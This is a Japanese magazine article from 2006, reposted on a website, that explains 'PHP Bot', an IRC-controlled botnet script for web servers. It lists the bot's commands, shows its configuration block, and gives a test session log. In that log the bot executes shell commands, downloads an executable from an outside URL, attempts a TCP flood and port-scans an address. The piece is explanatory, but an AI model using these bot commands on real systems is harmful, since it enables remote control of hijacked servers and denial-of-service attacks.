RSS Feed  Twitter  
|
Articles - Malware

2006年3月にハッカージャパン誌に寄稿した記事です。初稿にほとんど修正を加えず掲載しておりますので、古い情報であることにご注意ください。

PHPスクリプトのボット

rbot系とAgobot系の代表的な二つのボットを中心に解説してきたが、もちろん、他にもボットは多数存在している。最後に、最近、コミュニティで公開されたPHP Botを紹介しよう。現状ではバグも多く、使えるコマンドも限られるなど、まだまだ使えるレベルとはいえないが、PHPスクリプトで記述されたボットであるため、コンパイルなどは不要で、Webサーバにアップロードするだけで利用できる点が特徴だ。つまり、PHPスクリプトが動作するWebサーバであれば、簡単に設置して利用できてしまう。無料のWebスペースなどはインターネット上に星の数ほど存在しているため、悪用される可能性が出てくるわけだ。

図31が現在のPHP Botに用意されているコマンド群および設定項目である。PHPスクリプトをアップロードして、そのURLへアクセスすればIRCサーバへログインしてくる。コマンドは少ないが、WindowsをWebサーバにしている場合には、execやcmdコマンドでコマンドを実行できることを確認している。

また、ポートスキャン(単純に一つのポートをスキャンしてアクティブなサービスかを確認するだけ)やメールの送信、ファイルをダウンロードするといったコマンドも用意されている。

ただし、DDoSコマンド(udp/tcp flooder)などはバグがあり、正常に動作せずエラーとなる。今回はWindow XPとOpenBSD上のApacheでテストしているが、Windows XPではDDoSを省き、他のコマンドは正常に動作した。今後は新たな機能も追加されていく可能性が高く、バグ修正なども行われていくだろう。

■図31:PHP Botに用意されたコマンド群

 .user  //Botへのログイン
 .logout  //Botからのログアウト
 .die   //BotのKILL
 .restart  //Botの再起動
 .mail //メール送信
 .dns     //DNS Lookup
 .download   //指定したURLからのダウンロード
 .exec   // uses shell_exec() //コマンド実行
 .cmd // uses popen()  //コマンド実行
 .info     //システム情報の閲覧
 .php // uses eval()  //PHPスクリプトの実行
 .tcpflood    //tcpfloodアタック
 .udpflood           //udpfloodアタック
 .raw     //raw IRCコマンド
 .rndnick    //ニックネーム変更
 .pscan    //ポートスキャン
 .ud.server [newpass] //IRCサーバの変更


■図32:PHPスクリプト上の設定項目。基本的な設定のみ記述するだけで、接続先IRCサーバ、ポート、チャンネル、ボットのパスワードなどを変更すればよい。

~~~~省略~~~~
var $config = array("server"=>"192.168.1.88",
                     "port"=>6667,
                     "pass"=>"",
                     "prefix"=>"HJ|",
                     "maxrand"=>8,
                     "chan"=>"#hack",
                     "key"=>"",
                     "modes"=>"+iB-x",
                     "password"=>"123123",
                     "trigger"=>".",
                     "hostauth"=>"*"
                     );
~~~~省略~~~~


■図33:実際にコマンドを入力している例。ログインからシステム情報の閲覧やコマンドを実行している。メールの送信なども可能だ。

 .user 123123  ←Botへログイン
<[A]HJ|1584604> [auth]: k0rnz logged in
.cmd notepad.exe ←ノートパッドの実行
<[A]HJ|1584604> [cmd]: notepad.exe
.exec notepad.exe ←ノートパッドの実行
<[A]HJ|1584604> [exec]: notepad.exe
.download http://www.blackout.org/misc/sv.exe test.exe ←ファイルのダウンロード
<[A]HJ|1584604> [download]: File http://www.blackout.org/misc/sv.exe downloaded to test.exe
.tcpflood 192.168.1.20 10 20 337 10  ←TCP Floodを行うもエラー
<[A]HJ|1584604> [tcpflood]: Sending 10 packets to 192.168.1.20:337. Packet size: 20
<[A]HJ|1584604> [tcpflood]: Error: <10060>
.pscan 192.168.1.20 80  ←ポートスキャン
<[A]HJ|1584604> [pscan]: 192.168.1.20:80 is open
.mail webmaster[at]blackout.org tts.blackout[at]gmail.com test testmsg ←メールの送信
<[A]HJ|1584604> [mail]: Message sent to webmaster[at]blackout.org
.info  ←システム情報の閲覧
<[A]HJ|1584604> [info]: [httpd: Apache/2.2.0 (Win32) DAV/2 mod_ssl/2.2.0 OpenSSL/0.9.8a mod_autoindex_color PHP/4.4.1-pl1] [docroot: C:/Program Files/htdocs] [domain: localhost] [admin: admin[at]localhost] [url:/bot/pBot.php]